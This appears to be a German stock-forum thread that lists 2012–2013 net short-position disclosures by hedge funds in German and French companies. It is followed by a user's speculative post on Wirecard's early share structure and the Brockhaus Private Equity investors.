      4/2/2013 ,Saemor Capital B.V., Klöckner & Co SE, 0.45%
      4/2/2013 ,Sothic Capital Management LLP, Praktiker AG, 2.62%
      3/28/2013 ,Sothic Capital Management LLP, IVG Immobilien AG, 0.57%
      3/27/2013 ,Och-Ziff Management Europe Ltd., TUI AG, 3.46%
      3/27/2013 ,Barrington Wilshire LLC, AIXTRON SE, 1.23%
      3/27/2013, Tremblant Capital LP, Dialog Semiconductor plc, 0.65%
      3/27/2013 ,Saemor Capital B.V., Klöckner & Co SE, 0.63%
      3/27/2013, Marshall Wace LP, LANXESS Aktiengesellschaft, 0.62%
      3/26/2013, Marshall Wace LP, LANXESS Aktiengesellschaft, 0.56%
      3/26/2013 ,Highbridge Capital Management, AIXTRON SE, 1.01%
      3/26/2013 ,OXFORD Asset Management, IVG Immobilien AG, 0.8%
      3/26/2013, GAM Investment Management Lugano SA, DIALOG SEMICONDUCTOR PLC, 0.92%
      3/26/2013 ,Universal-Investment-Luxembourg S.A.t, IVG Immobilien AG, 0.75%
      3/25/2013, BlackRock Institutional Trust Company National Association, Nordex SE, 0.5%
      3/25/2013, Marshall Wace LLP, COMMERZBANK Aktiengesellschaft – Rechtsabteilung, 1.32%
      3/25/2013, BlackRock Investment Management (UK) Limited, Evotec AG,0.55%
      3/25/2013 ,Highbridge Capital Management, AIXTRON SE, 0.95%
      3/25/2013 ,Och-Ziff Management Europe Ltd., TUI AG, 3.39%
      3/25/2013 ,Universal-Investment-Luxembourg S.A.t, IVG Immobilien AG, 0.63%
      3/25/2013 ,Saemor Capital B.V, AIXTRON SE, 0.62%
      3/22/2012 ,Barrington Wilshire LLC, AIXTRON SE, 1.48%
      3/22/2013, Maverick Capital, AIXTRON SE, 6.56%
      3/21/2013, BlackRock Institutional Trust Company National Association, BAUER Aktiengesellschaft,0.5%
      3/21/2013 ,Highbridge Capital Management LLC, Drillisch Aktiengesellschaft, 0.52%
      3/21/2013, Highbridge Capital Management, LLC, MorphoSys AG,0.53%
      3/21/2013, GAM Investment Management Lugano SA, DIALOG SEMICONDUCTOR PLC, 0.72%
      3/21/2013 ,Highbridge Capital Management LLC, TAG Immobilien AG, 1.92%
      3/20/2013 ,Meditor Capital Management Limited, HUGO BOSS AG, 0.63%
      3/20/2013, Maverick Capital, AIXTRON SE, 6.82%
      3/20/2013, JHL Capital Group, Silver Bay Realty Trust Corp,1.61%
      3/19/2013, GAM Investment Management Lugano SA, DIALOG SEMICONDUCTOR PLC, 0.67%
      3/19/2013 ,BlackRock Institutional Trust Company National Association, Klöckner & Co SE, 0.59%
      3/19/2012 ,Barrington Wilshire LLC, AIXTRON SE, 1.65%
      3/19/2013 ,Oxford Asset Management, SAF-HOLLAND GmbH, 1.31%
      3/18/2013, Maverick Capital, AIXTRON SE, 7.17%
      3/18/2013 ,Och-Ziff Management Europe Ltd., TUI AG, 3.58%
      3/18/2013, Marshall Wace LLP, COMMERZBANK Aktiengesellschaft – Rechtsabteilung, 1.26%
      3/15/2013 ,Highbridge Capital Management, AIXTRON SE, 0.78%
      3/15/2013 ,AQR Capital Management LLC, AIXTRON SE, 1.25%
      3/15/2013 ,AQR Capital Management LLC, Dialog Semiconductor Plc, 2.12%
      3/15/2013 ,Citadel Advisors LLC, Wacker Chemie AG, 0.62%
      3/15/2013 ,Cadian Capital Management LLC, Axel Springer Aktiengesellschaft, 1.41%
      3/14/2013 ,PointState Capital LP, K+S Aktiengesellschaft, 1.25%
      3/14/2013 ,Oxford Asset Management, AIXTRON SE, 1.1%
      3/14/2013, Oxford Asset Management, Klöckner & Co SE, 0.60%
      3/14/2013 ,Oxford Asset Management, SAF-HOLLAND GmbH, 1.28%
      3/13/2013, Maverick Capital, AIXTRON SE, 7.61%
      3/13/2013 , Highbridge Capital Management, TUI AG, 0.63%
      3/13/2013 ,OXFORD Asset Management, IVG Immobilien AG, 0.73%
      3/13/2013 ,AQR Capital Management LLC, Kloeckner & Co USA Beteiligungs GmbH, 1.07%
      3/13/2013, Marshall Wace LLP, COMMERZBANK Aktiengesellschaft – Rechtsabteilung, 0.86%
      3/12/2013, Marshall Wace LLP, COMMERZBANK Aktiengesellschaft – Rechtsabteilung, 0.69%
      3/12/2012, Highbridge Capital Management LLC, KUKA Aktiengesellschaft, 0.85%
      3/12/2013, Marshall Wace LP, LANXESS Aktiengesellschaft, 0.64%
      3/12/2013 ,Och-Ziff Management Europe Ltd., TUI AG, 3.66%
      3/12/2013 ,Highbridge Capital Management, AIXTRON SE, 0.61%
      3/12/2013 ,AQR Capital Management LLC, AIXTRON SE, 1.11%
      3/12/2013 ,BlackRock Institutional Trust Company National Association, ElringKlinger AG, 0.81%
      3/11/2013 ,Citadel Advisors LLC, Wacker Chemie AG, 0.58%
      3/11/2013, JHL Capital Group, Silver Bay Realty Trust Corp,1.53%
      3/8/2013, Marshall Wace LP, LANXESS Aktiengesellschaft, 0.51%
      3/8/2013, BlackRock Institutional Trust Company National Association, Evotec AG, 0.7%
      3/7/2013 ,Oxford Asset Management, AIXTRON SE, 0.90%
      3/7/2013 ,Highbridge Capital Management, AIXTRON SE, 0.5%
      3/6/2013 ,BlackRock Institutional Trust Company National Association, ElringKlinger AG, 0.79%
      3/6/2013, BlackRock Institutional Trust Company National Association, euromicron Aktiengesellschaft communication & control technology, 0.62%
      3/6/2013 ,OXFORD Asset Management, IVG Immobilien AG, 0.61%
      3/6/2012, MEDITOR CAPITAL MANAGEMENT LIMITED, EDENRED, 0.22%
      3/6/2013, LANSDOWNE PARTNERS LIMITED, EDENRED,0.46%
      3/5/2013, BlackRock Institutional Trust Company National Association, STRATEC Biomedical AG, 0.52%
      3/5/2013 ,BlackRock Institutional Trust Company National Association, Klöckner & Co SE, 0.64%
      3/5/2013 ,Oxford Asset Management, SAF-HOLLAND GmbH, 1.39%
      3/5/2013, AQR Capital Management LLC, STRATEC Biomedical AG, 0.52%
      3/4/2013, B AND G MASTER FUND PLC, VEOLIA ENVIRONNEMENT, 0.46%
      3/4/2013, MARSHALL WACE LLP, VEOLIA ENVIRONNEMENT, 0.41%
      3/1/2013 ,Oxford Asset Management, AIXTRON SE, 0.76%
      3/1/2013 ,Castle Creek Arbitrage LLC, TUI AG, 1.12%
      2/28/2013 ,Saemor Capital B.V, AIXTRON SE, 0.59%
      2/28/2013 ,Och-Ziff Management Europe Ltd., TUI AG, 3.51%
      2/28/2013 ,Citadel Advisors LLC, Wacker Chemie AG, 0.65%
      2/27/2012, Highbridge Capital Management LLC, KUKA Aktiengesellschaft, 0.99%
      2/27/2013, MARSHALL WACE LLP, NEXANS, 0.49%
      2/26/2013 ,Oxford Asset Management, AIXTRON SE, 0.53%
      2/26/2013 ,Oxford Asset Management, SAF-HOLLAND GmbH, 1.49%
      2/26/2013 ,Citadel Advisors LLC, Wacker Chemie AG, 0.97%
      2/26/2012 ,Barrington Wilshire LLC, AIXTRON SE, 1.86%
      2/25/2013 ,Och-Ziff Management Europe Ltd., TUI AG, 3.56%
      2/25/2013, AQR CAPITAL MANAGEMENT LLC, NEXANS, 0.81%
      2/25/2013, MEDITOR CAPITAL MANAGEMENT LIMITED,SUEZ ENVIRONNEMENT COMPANY, 0.44%
      2/25/2013, BlackRock Institutional Trust Company National Association, Evotec AG, 0.5%
      2/22/2013, AKO CAPITAL LLC, SES, 0.48%
      2/22/2013 ,Barrington Wilshire LLC, Nordex SE, 1.94%
      2/21/2013, BlackRock Institutional Trust Company National Association, euromicron Aktiengesellschaft communication & control technology, 0.5%
      2/21/2013, B AND G MASTER FUND PLC, FAURECIA, 0.46%
      2/20/2013 ,Cadian Capital Management LLC, Axel Springer Aktiengesellschaft, 1.31%
      2/20/2013 ,Highbridge Capital Management LLC, TAG Immobilien AG, 1.75%
      2/18/2013 ,Citadel Advisors LLC, Wacker Chemie AG, 1.29%
      2/15/2013, WELLINGTON MANAGEMENT COMPANY LLP, COMPAGNIE INDUSTRIELLE ET FINANCIERE D’INGENIERIE INGENICO, 1%
      2/15/2013, Marshall Wace LP, LANXESS Aktiengesellschaft, 0.37%
      2/15/2013, Ennismore Fund Management Limited, Nordex SE, 0.53%
      2/14/2013, BNP PARIBAS SA, ETABLISSEMENTS MAUREL ET PROM, 0.49%
      2/14/2013, MEDITOR CAPITAL MANAGEMENT LIMITED,REXEL, 0.19%
      2/14/2013, Marshall Wace LLP, COMMERZBANK Aktiengesellschaft – Rechtsabteilung, 0.52%
      2/13/2013 ,BlackRock Institutional Trust Company National Association, Klöckner & Co SE, 0.79%
      2/11/2013, AKO CAPITAL LLC, EUTELSAT COMMUNICATIONS, 0.44%
      2/11/2013 ,AQR Capital Management LLC, AIXTRON SE, 0.94%
      2/11/2013 ,AQR Capital Management LLC, STADA Arzneimittel Aktiengesellschaft, 1.02%
      2/8/2013 ,Meditor Capital Management Limited, HUGO BOSS AG, 0.7%
      2/8/2013 ,CARLSON CAPITAL UK LLP,COMPAGNIE INDUSTRIELLE ET FINANCIERE D’INGENIERIE INGENICO, 0.32%
      2/8/2012 ,Sothic Capital Management LLP, Heidelberger Druckmaschinen Aktiengesellschaft, 2.19%
      2/7/2013 , Viking Global Investors LP, K+S Aktiengesellschaft, 1.82%
      2/4/2013, ADAGE CAPITAL MANAGEMENT, VALLOUREC, 0.46%
      2/4/2013 ,QVT Financial LP, Wirecard AG, 0.67%
      2/4/2013 ,Citadel Advisors LLC, Wacker Chemie AG, 1.47%
      2/4/2013 ,D. E. Shaw & Co. (U.K.) Ltd., freenet AG, 0.86%
      2/1/2013 ,Castle Creek Arbitrage LLC, TUI AG, 1%
      2/1/2013 ,Och-Ziff Management Europe Ltd., TUI AG, 3.6%
      2/1/2013 ,Barrington Wilshire LLC, Praktiker AG, 0.81%
      2/1/2013 ,Tremblant Capital LP, Wincor Nixdorf Aktiengesellschaft, 0.7%
      1/31/2013 ,AQR Capital Management LLC, Kloeckner & Co USA Beteiligungs GmbH, 0.92%
      1/31/2013 ,Highbridge Capital Management, IVG Immobilien AG, 0.49%
      1/31/2013 ,Citadel Advisors LLC, AIXTRON SE, 1.56%
      1/31/2013 ,CQS (UK) LLP, Deutsche EuroShop AG, 0.65%
      1/31/2013, UBS O’CONNOR LIMITED, VALLOUREC, 0.39%
      1/31/2013 ,Marble Arch Investments, Heidelberger Druckmaschinen Aktiengesellschaft, 3.01%
      1/31/2013 ,JPMorgan Asset Management (UK) Ltd, zooplus AG, 0.47%
      1/30/2013 ,Saemor Capital B.V., Klöckner & Co SE, 0.80%
      1/30/2013, BALYASNY ASSET MANAGEMENT L.P., L’OREAL, 0.38%
      1/30/2013, LUXOR CAPITAL GROUP, NEOPOST S.A, 0.4%
      1/30/2013 ,Barrington Wilshire LLC, Praktiker AG, 0.61%
      1/30/2013 ,D. E. Shaw & Co. (U.K.) Ltd., freenet AG, 0.65%
      1/30/2013 ,Barrington Wilshire LLC, Nordex SE, 2.0%
      1/30/2013 ,Highbridge Capital Management, IVG Immobilien AG, 0.53%
      1/30/2013 ,Cadian Capital Management LLC, Axel Springer Aktiengesellschaft, 1.11%
      1/29/2013 ,Citadel Advisors LLC, Wacker Chemie AG, 1.29%
      1/29/2103, SIERRA GLOBAL MANAGEMENT L.L.C., PAGESJAUNES GROUPE, 0.45%
      1/29/2013 ,Castle Creek Arbitrage LLC, TUI AG, 0.94%
      1/29/2013 ,OXFORD Asset Management, IVG Immobilien AG, 0.51%
      1/25/2013 ,Highbridge Capital Management, IVG Immobilien AG, 0.6%
      1/25/2013 ,Barrington Wilshire LLC, Nordex SE, 1.92%
      1/25/2013 ,Ennismore Fund Management Limited, Delticom AG, 0.7%
      1/25/2013 ,Och-Ziff Management Europe Ltd., TUI AG, 3.52%
      1/25/2013 ,Citadel Advisors LLC, SolarWorld Aktiengesellschaft, 2.55%
      1/25/2013 ,AQR Capital Management LLC, Dialog Semiconductor Plc, 1.99%
      1/24/2013 ,BlackRock Institutional Trust Company National Association, Salzgitter Aktiengesellschaft, 0.62%
      1/24/2013 ,Adelphi Capital LLP, STADA Arzneimittel Aktiengesellschaft, 0.72%
      1/23/2013 ,Castle Creek Arbitrage LLC, TUI AG, 0.64%
      1/23/2013 ,Och-Ziff Management Europe Ltd., TUI AG, 3.45%
      1/23/2013 ,Highbridge Capital Management, IVG Immobilien AG, 0.5%
      1/23/2013 ,Citadel Advisors LLC, AIXTRON SE, 1.61%
      1/23/2013 ,Arrowgrass Capital Partners LLP, Drägerwerk AG & Co. KGaA, 0.85%
      1/22/2013 ,Ennismore Fund Management Limited, Delticom AG, 0.82%
      1/22/2013 ,Citadel Advisors LLC, AIXTRON SE, 1.52%
      1/21/2013 , Highbridge Capital Management, K+S Aktiengesellschaft, 0.51%
      1/18/2013 ,AQR Capital Management LLC, STADA Arzneimittel Aktiengesellschaft, 0.93%
      1/18/2013 ,Cadian Capital Management LLC, Axel Springer Aktiengesellschaft, 1.03%
      1/18/2013 ,Oxford Asset Management, SAF-HOLLAND GmbH, 1.4%
      1/18/2013 ,PointState Capital LP, K+S Aktiengesellschaft, 1.2%
      1/18/2013 ,Adelphi Capital LLP, STADA Arzneimittel Aktiengesellschaft, 0.83%
      1/17/2013 ,Adelphi Capital LLP, STADA Arzneimittel Aktiengesellschaft, 0.97%
      1/17/2013,ARROWGRASS CAPITAL PARTNERS L.L.P, ALTRAN TECHNOLOGIES ,0.24%
      1/17/2013 , Viking Global Investors LP, K+S Aktiengesellschaft, 1.53%
      1/17/2013 ,Citadel Advisors LLC, Wacker Chemie AG, 1.7%
      1/17/2013 ,Oxford Asset Management, SAF-HOLLAND GmbH, 1.34%
      1/16/2013 ,Oxford Asset Management, SAF-HOLLAND GmbH, 1.26%
      1/16/2013 ,Viking Global Investors LP, K+S Aktiengesellschaft, 1.43%
      1/16/2013 ,Barrington Wilshire LLC, IVG Immobilien AG, 2.21%
      1/16/2013 ,BlackRock Institutional Trust Company National Association, WINCOR NIXDORF International GmbH, 0.51%
      1/15/2013, Marshall Wace LP, LANXESS Aktiengesellschaft, 0.50%
      1/15/2013 ,Barrington Wilshire LLC, Nordex SE, 1.82%
      1/15/2013 ,BlackRock Institutional Trust Company National Association, Salzgitter Aktiengesellschaft, 0.53%
      1/15/2013 ,Citadel Advisors LLC, AIXTRON SE, 1.45%
      1/15/2013, BNP PARIBAS SA, PEUGEOT S.A, 0.34%
      1/14/2013 ,AQR Capital Management LLC, Dialog Semiconductor Plc, 2.02%
      1/14/2013 ,Citadel Advisors LLC, AIXTRON SE, 1.59%
      1/14/2013 ,Highbridge Capital Management LLC, Klöckner & Co SE, 1.38%
      1/14/2013 ,AQR Capital Management LLC, AIXTRON SE, 0.72%
      1/14/2013 ,Barrington Wilshire LLC, TAG Immobilien AG, 0.59%
      1/14/2013 ,Oxford Asset Management, SAF-HOLLAND GmbH, 1.12%
      1/11/2013 ,PointState Capital LP, K+S Aktiengesellschaft, 1.1%
      1/10/2013 ,Barrington Wilshire LLC, TAG Immobilien AG, 0.68%
      1/10/2013 ,AQR Capital Management LLC, Dialog Semiconductor Plc, 1.95%
      1/10/2013 ,Viking Global Investors LP, K+S Aktiengesellschaft, 1.32%
      1/10/2013 ,AQR Capital Management LLC, AIXTRON SE, 0.66%
      1/10/2013 ,AQR Capital Management LLC, Kloeckner & Co USA Beteiligungs GmbH, 0.84%
      1/10/2013 ,Highbridge Capital Management LLC, Klöckner & Co SE, 1.48%
      1/10/2013 ,Meditor Capital Management Limited, HUGO BOSS AG, 0.81%
      1/9/2013 ,Barrington Wilshire LLC, TAG Immobilien AG, 0.77%
      1/9/2013, UBS O’CONNOR LIMITED, COMPAGNIE GENERALE DE GEOPHYSIQUE, 0.49%
      1/9/2013, NOMURA INTERNATIONAL P.L.C., STMICROELECTRONICS NV, 0.35%
      1/8/2013 ,Och-Ziff Management Europe Ltd., TUI AG, 3.57%
      1/7/2013 ,Ennismore Fund Management Limited, Delticom AG, 0.74%
      1/7/2013 ,BlackRock Institutional Trust Company National Association, Klöckner & Co SE, 0.88%
      1/7/2013 ,Barrington Wilshire LLC, IVG Immobilien AG, 2.16%
      1/7/2013 ,Oxford Asset Management, SAF-HOLLAND GmbH, 1.02%
      1/7/2013 ,Citadel Advisors LLC, Wacker Chemie AG, 1.67%
      1/7/2013 ,Citadel Advisors LLC, AIXTRON SE, 1.76%
      1/4/2013 ,PointState Capital LP, K+S Aktiengesellschaft, 1.02%
      1/4/2013 ,Highbridge Capital Management LLC, Drillisch Aktiengesellschaft, 0.70%
      1/3/2013 ,BlackRock Institutional Trust Company National Association, ElringKlinger AG, 0.79%
      1/2/2013 ,Pine River Capital Management L.P., TUI AG, 1.16%
      1/2/2013 ,Highbridge Capital Management LLC, Klöckner & Co SE, 1.52%
      1/2/2013 ,Egerton Capital Limited as general partner of Egerton Capital Limited Partnership, Dialog Semiconductor Plc, 1.21%
      12/21/2012 ,Viking Global Investors LP, K+S Aktiengesellschaft, 1.20%
      12/21/2013, AQR Capital Management LLC , K+S Aktiengesellschaft, 0.49%
      12/21/2012 ,Citadel Advisors LLC, SolarWorld Aktiengesellschaft, 2.80%
      12/20/2012 ,Barrington Wilshire LLC, Nordex SE, 1.73%
      12/20/2012 ,Citadel Advisors LLC, Wacker Chemie AG, 1.81%
      12/20/2012, HIGHBRIDGE CAPITAL MANAGEMENT LLC, ALTRAN TECHNOLOGIES, 0.49%
      12/20/2012 ,AQR Capital Management LLC, AIXTRON SE, 0.53%
      12/19/2012 ,AQR Capital Management LLC, Dialog Semiconductor Plc, 1.80%
      12/19/2012 ,Och-Ziff Management Europe Ltd., TUI AG, 3.67%
      12/17/2012 ,AQR Capital Management LLC, Kloeckner & Co USA Beteiligungs GmbH, 0.77%
      12/17/2012 ,Adelphi Capital LLP, STADA Arzneimittel Aktiengesellschaft, 1.02%
      12/17/2012 ,Sothic Capital Management LLP, Praktiker AG, 2.52%
      12/12/2012, BROOKSIDE CAPITAL MANAGEMENT LLC, GEMALTO NV,0.32%
      12/12/2012 ,Highbridge Capital Management LLC, TAG Immobilien AG, 1.70%
      12/11/2012 ,Polygon Global Partners LLP, TAG Immobilien AG, 0.52%
      12/10/2012 ,Och-Ziff Management Europe Ltd., TUI AG, 3.78%
      12/10/2012 ,AQR Capital Management LLC, STADA Arzneimittel Aktiengesellschaft, 0.81%
      12/10/2012 ,Barrington Wilshire LLC, AIXTRON SE, 1.70%
      12/10/2012 ,Ferox Capital LLP, Qiagen N.V, 0.66%
      12/5/2012 ,Pine River Capital Management L.P., TUI AG, 1.40%
      12/4/2012 ,Och-Ziff Management Europe Ltd., TUI AG, 4.02%
      12/3/2012 , Viking Global Investors LP, K+S Aktiengesellschaft, 0.9%
      12/3/2012 ,Meditor Capital Management Limited, ProSiebenSat.1 Media AG, 0.47%
      11/30/2012, EGERTON CAPITAL LIMITED, VEOLIA ENVIRONNEMENT, 0.36%
      11/28/2012, AKO CAPITAL LLP, ALCATEL LUCENT, 0.30%
      11/28/2012 ,Meditor Capital Management Limited, ProSiebenSat.1 Media AG, 0.78%
      11/27/2012 ,Och-Ziff Management Europe Ltd., TUI AG, 4.12%
      11/27/2012 ,Sheffield Asset Management L.L.C., Heidelberger Druckmaschinen Aktiengesellschaft, 1.11%
      11/26/2012 ,D. E. Shaw & Co. (U.K.) Ltd., freenet AG, 0.51%
      11/23/2012 ,JPMorgan Asset Management (UK) Ltd, Singulus Technologies Aktiengesellschaft, 2.01%
      11/22/2012 ,CQS (UK) LLP, Deutsche EuroShop AG, 0.50%
      11/22/2012 ,Oxford Asset Management, IVG Immobilien, 0.59%
      11/22/2012, HIGHBRIDGE CAPITAL MANAGEMENT LLC, PEUGEOT S.A, 0.40%
      11/22/2012, EGERTON CAPITAL LIMITED, VALLOUREC, 0.27%
      11/21/2012, MEDITOR CAPITAL MANAGEMENT LIMITED, EUTELSAT COMMUNICATIONS, 0.44%
      11/20/2012 ,Wellington Management Company LLP, Deutsche EuroShop AG, 2.77%
      11/16/2012 ,Marble Arch Investments, SolarWorld Aktiengesellschaft, 1.56%
      11/16/2012 , Viking Global Investors LP, K+S Aktiengesellschaft, 0.5%
      11/15/2012 ,Marble Arch Investments, Heidelberger Druckmaschinen Aktiengesellschaft, 2.94%
      11/9/2012 ,Tremblant Capital LP, Wincor Nixdorf Aktiengesellschaft, 0.68%
      11/8/2012 ,Sothic Capital Management LLP, Heidelberger Druckmaschinen Aktiengesellschaft, 2.40%
      11/8/2012 ,Arrowgrass Capital Partners LLP, Drägerwerk AG & Co. KGaA, 0.68%
      11/8/2012 ,BlackRock Institutional Trust Company National Association, Salzgitter Aktiengesellschaft, 0.67%
      11/5/2012 ,Highbridge Capital Management LLC, LANXESS Aktiengesellschaft, 0.53%
      11/2/2012, Och-Ziff Management Europe Ltd., TUI AG, 4.02%
      11/2/2012 ,Citadel Advisors LLC, Wacker Chemie AG,1.6%
      11/2/2012 ,Marble Arch Investments, SolarWorld Aktiengesellschaft, 1.32%
      11/2/2012 ,Crestwood Capital Management L.P., SolarWorld Aktiengesellschaft, 0.84%
      11/2/2012 ,D. E. Shaw & Co. (U.K.) Ltd., Drägerwerk AG & Co. KGaA, 0.97%
      11/2/2012 ,Cadian Capital Management LLC, Axel Springer Aktiengesellschaft,0.9%
      11/2/2012 ,Citadel Advisors LLC, SolarWorld Aktiengesellschaft, 1.82%
      11/2/2012 ,Marble Arch Investments, United Internet AG, 0.66%
      11/2/2012 ,JPMorgan Asset Management (UK) Ltd, zooplus AG, 0.54%
      11/2/2012 ,Sothic Capital Management LLP, SMA Solar Technology AG, 1.29%
      11/2/2012 ,Discovery Capital Management LLC, Wacker Chemie AG, 1.85%
      11/2/2012 ,Maverick Capital Ltd., AIXTRON SE, 7.82%
      11/2/2012 ,AKO Capital LLP, Celesio AG, 2.26%
      11/1/2012 ,QVT Financial LP, Wirecard AG, 1.08%
      11/1/2012 ,Pennant Capital Management LLC, AIXTRON SE, 2.27%
      11/1/2012 ,Meditor Capital Management Limited, HUGO BOSS AG, 0.72%
      11/1/2012 ,Saemor Capital B.V., Klöckner & Co SE, 0.97%
      1 Antwort
      Avatar
      schrieb am 29.04.16 08:14:51
      Beitrag Nr. 65 ()
      Antwort auf Beitrag Nr.: 52.304.989 von jigajig am 29.04.16 08:11:43Datenmaterial für Suchende:
      Zitat von jigajig: short deutschland history
      Germany: Historical Stock Data


      11/2/2012, Och-Ziff Management Europe Ltd., TUI AG, 4.02%
      11/2/2012 ,Citadel Advisors LLC, Wacker Chemie AG,1.6%
      11/2/2012 ,Marble Arch Investments, SolarWorld Aktiengesellschaft, 1.32%
      11/2/2012 ,Crestwood Capital Management L.P., SolarWorld Aktiengesellschaft, 0.84%
      11/2/2012 ,D. E. Shaw & Co. (U.K.) Ltd., Drägerwerk AG & Co. KGaA, 0.97%
      11/2/2012 ,Cadian Capital Management LLC, Axel Springer Aktiengesellschaft,0.9%
      11/2/2012 ,Citadel Advisors LLC, SolarWorld Aktiengesellschaft, 1.82%
      11/2/2012 ,Marble Arch Investments, United Internet AG, 0.66%
      11/2/2012 ,JPMorgan Asset Management (UK) Ltd, zooplus AG, 0.54%
      11/2/2012 ,Sothic Capital Management LLP, SMA Solar Technology AG, 1.29%
      11/2/2012 ,Discovery Capital Management LLC, Wacker Chemie AG, 1.85%
      11/2/2012 ,Maverick Capital Ltd., AIXTRON SE, 7.82%
      11/2/2012 ,AKO Capital LLP, Celesio AG, 2.26%
      11/1/2012 ,QVT Financial LP, Wirecard AG, 1.08%
      11/1/2012 ,Pennant Capital Management LLC, AIXTRON SE, 2.27%
      11/1/2012 ,Meditor Capital Management Limited, HUGO BOSS AG, 0.72%
      11/1/2012 ,Saemor Capital B.V., Klöckner & Co SE, 0.97%
      Avatar
      schrieb am 29.04.16 21:45:20
      Beitrag Nr. 66 ()
      Nachtrag zum Thema Aktienbesitz:
      Laut Aktienprospekt 2005 habe Markus Braun laut Kaufvertrag vom 8.2.2005 2.301.796 Aktien erworben.
      Im November 2005 wurden 52,6Mio Aktien á 1 Euro angemeldet
      Bleiben 50,3 Mio übrig.

      Im März 2005 wurden 42 Mio neue Aktien ins Handelsregister eingetragen (am 14.12.04 beschlossene kapitalerhöhung).

      2,7 Mio Aktien aus Kapitalerhöhung (17.5.05 eingetragen, 11.4.05 beschlossen)

      6,7 Mio Aktien aus Kapitalerhöhung (18.10.05/12.9.05)

      27700 Aktien aus Kapitalerhöhung (09.08.04/15.07.04)

      1,0 Mio Aktien aus Kapitalerhöhung (09.08.04/15.07.04)

      Dann gab es am 22.9.2005 eine Hauptversammlung der EBS Holding AG:
      Die Hauptversammlung der ebs Holding AG hat am 22. September 2005 beschlossen, das Grundkapital der Gesellschaft von EUR 4.733.176,00 um EUR 4.648.655,00 auf EUR 84.521,00 herabzusetzen, das Grundkapital anschließend von EUR 84.521,00 um EUR 9,00 auf EUR 84.530,00 zu erhöhen und danach die Gesellschaft in eine Gesellschaft mit beschränkter Haftung formzuwechseln.
      Die Kapitalherabsetzung, die Kapitalerhöhung und der Formwechsel wurden am 10. November 2005 im Handelsregister der ebs Holding AG eingetragen. Hintergrund für diese Umstrukturierung der ebs Holding AG ist, den ehemaligen Aktionären der ebs Holding AG nach dem Formwechsel den Rückerwerb eigener Geschäftsanteile an der ebs Holding GmbH gegen Gewährung von börsennotierten Aktien an der Wire Card AG anzubieten.
      (...) Die Gesellschafter der ebs Holding GmbH erhalten für einen Teilgeschäftsanteil in Höhe von nominal EUR 1,00 an der ebs Holding GmbH 544,67 (gerundet) Aktien an der Wire Card AG.

      84.521 mal 544,67 = 46 Mio = 87,5%
      Sind da die Aktien des "ersten institutionellen Anlegers" Brockhaus Orivate Equity enthalten gewesen oder nicht???

      siehe diesen lesenswerten Thread, begonnen von COMPUS
      http://www.wallstreet-online.de/diskussion/500-beitraege/986…

      Noch im Mai 2005 (!) schrieb Brockhaus
      ebs Holding AG, Hallbergmoos
      Die ebs Holding AG zählt zu den führenden Internet Payment Service Providern (IPSP) in Europa. Die Tochterunternehmen der ebs Holding AG bieten verschiedene Abrechnungs- und Zahlungslösungen für den E-Commerce und das E-Payment-Processing an. Dazu gehören Kreditkarten-Clearing, Online-Lastschriftverfahren, E-Commerce-Services wie Risiko- und Betrugsmanagement sowie telefonbasierte Abrechnungen. Die Tochtergesellschaft WireCard AG stellt eine skalierbare Internet-Abrechnungssoftware zur Verfügung, die die technologische Basis zum überproportionalen Wachstum des Kreditkarten-Clearing und Online-Lastschriftverfahren ermöglicht.

      Die Unterzeichnung eines Merger Agreement im Oktober 2002 mit der an der Toronto Stock Exchange notierten SureFire Commerce, Inc., Kanada, Inc., ermöglicht der ebs Holding AG den Einstieg in den nordamerikanischen Markt sowie die Übernahme eines großen Kundenportfolios.
      eMail: info@ebs-holding.com Internet: http://www.ebs-holding.com

      Na wo ist er denn geblieben, der Merger? Klang sicher super für potentielle Käufer der Aktie. War halt nur nicht (mehr) die Wahrheit. Gegen jede Kritik ging Wirecard damals anwaltlich vor ("Es gibt zwei Wire Cards, Wire Card dialerte in Russland, Click2Pay ist nur für Casinos,...), aber das durfte da stehen bleiben. Sei's drum.

      Karriere
      Marco Brockhaus begann seine Karriere als Investmentbanker im Bereich Corporate Finance im Bankhaus Rothschild GmbH. Im Mai 1997 wechselte er zu 3i Deutschland Gesellschaft für Industriebeteiligungen mbH. Im Jahr 2000 gründetet er den Brockhaus Private Equity Fonds mit einem verwalteten Vermögen von EUR 53 Mio.

      Erfahrung
      Während seiner Zeit bei Rothschild arbeitete Marco Brockhaus im Bereich M&A vor allem auf Transaktionen im Deutschen Mittelstand. Danach investierte er für 3i in Unternehmen von Seed Kapital bis zu Wachstums- und Expansionskapital (u.a. Nanogate, ACG AG) wie auch in MBO/MBI-Transaktionen im Mittelstand.

      http://goo.gl/dIz7a9
      Er hat möglicherweise vergessen, zu erwähnen, dass 3i auch in die "Wire Card AG" investiert hat - in die "eigentliche" "Wire Card AG"...
      Der andere bei Brockhaus war ab April 2000 bei TFG. Glück gehabt, denn dann kann er diesen Artikel 2000 nicht geschrieben haben:
      http://www.ariva.de/forum/Von-Comroad-stark-profitieren-TFG-…
      Von Comroad stark profitieren: TFG-Venture Capital: (TFGG): 20%-Anteil
      Wussten Sie, dass TFG-Venture Capital (TFGG) noch einen 20%-Anteil an Comroad hält? Die Aktien ist dadurch ein heisser Tip!

      Der Dritte im Bunde war zuvor bei Sal. Oppenheim und ebenfalls bei 3i
      Während seiner Tätigkeit bei Sal. Oppenheim jr. & Cie. war Andreas Bösenberg in verschiedene Börsengänge involviert und machte erste Erfahrungen mit Unternehmen des Neuen Markt. Danach tätigte er für 3i Wachstums-, Expansions- und Pre-IPO Investitionen.

      Jahre später tauchte er auch mal in Moskau und St. Petersburg auf (VTB CAPITAL), kaufte Fitnessfirmen in Russland http://www.vtbcapital.com/corporate-communications/news/2014…
      (war auch der Volleyballverband involviert?)
      oder dann als
      Managing Director von Sun


      Die Sun European Partners GmbH, auf fremdkapitalfinanzierte Beteiligungen und Investitionen in Mittelstandsfirmen in Deutschland, Österreich und der Schweiz spezialisiert, sei ein Beratungsunternehmen der finanzstarken Sun Capital Partners mit Hauptsitz in Florida: eine private Investmentberatungsfirma, die darauf spezialisiert sei, unausgeschöpftes Potenzial von Unternehmen zu identifizieren und deren operative und finanzielle Ressourcen wirksam einzusetzen. Seit 1995 hätten Tochterunternehmen von Sun Capital weltweit in mehr als 320 Unternehmen investiert.

      Sun Capital gibt es auch in Panama, war eine Gründung von Ricardo Cambra (interessante Treffer bei Offshoreleaks)

      Ob die Drei jemals wieder so ein gutes Investment hatten wie die EBS/Wirecard, weiß ich nicht :)
      Wagemutige können ja darauf spekulieren
      http://brockhaus-pe.de/news/

